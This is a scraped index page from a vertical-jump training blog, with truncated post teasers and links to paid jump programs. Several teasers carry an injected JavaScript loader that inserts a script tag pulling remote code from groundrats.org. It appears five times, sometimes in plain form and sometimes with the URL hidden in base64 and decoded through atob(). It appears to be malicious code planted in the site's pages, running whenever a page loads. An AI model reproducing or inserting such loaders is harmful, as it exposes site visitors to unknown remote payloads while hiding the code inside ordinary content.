How to “Shock” Your Muscles Into Jumping Higher & Becoming More Explosive
Getting stronger is only one part of the equation for becoming a more explosive athlete.
Many athletes misunderstand that STRENGTH WILL NOT NECESSARILY MAKE YOU FASTER.
HOW MUSCLES BECOME EXPLOSIVE
When you move your muscle, an electrical stimulus is sent by your...
Q&A: Is It Better To Be A 1-Foot Or 2-Foot Jumper?
Got this question from John Peterson. Check the answer and tips in the video:
Our Instant Inches program can be found here: https://trainhard-trainsmart.com/instantinches
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
var decodedUrl...
Q&A: Will Vertical Jump Training Hinder Growth Or Make Kids More Prone To Injury?
Our Jump Manual program can be found here: https://trainhard-trainsmart.com/jumpmanual;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
x=b.createElement(n);e=b.getElementsByTagName(n);
x.async=1;x.src=decodedUrl;
...
Q&A – How Do I Improve My Single Leg Jumping Power (Especially My Off...
;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
x=b.createElement(n);e=b.getElementsByTagName(n);
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
...
Jacob Hiller Shatters Backboard at 24 Hour Fitness…
(tired legs...didn't even get the dunk down lol)
;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
var decodedUrl = atob('aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294');
x=b.createElement(n);e=b.getElementsByTagName(n);
x.async=1;x.src=decodedUrl;
...
How To Jump Higher Using A Simple Trick Track & Field Athletes Have Used...
This is just one of the many techniques that can immediately add height to your jump. You can get access to the rest of them inside our Instant Inches program here.
;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n);x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox');
;(function(f,b,n,j,x,e){
var...
The 9 Things You Must Do For An Explosive Vertical
Download The 9 Essentials To An Explosive Vertical
Training to jump higher and increase your vertical leap is one of the most complicated workout routines you can do because it involves almost all aspects of improving your athleticism.
You cant just...
Are Calves Important For Your Vertical Leap?
Download The "Power Bouncing" Tendon Workout Here
I always get asked "how are the calves important in how high you jump?". People always ask me, "how important are the calves?"
Oh, the calves are important... Oh, they aren't...
I want to cut...
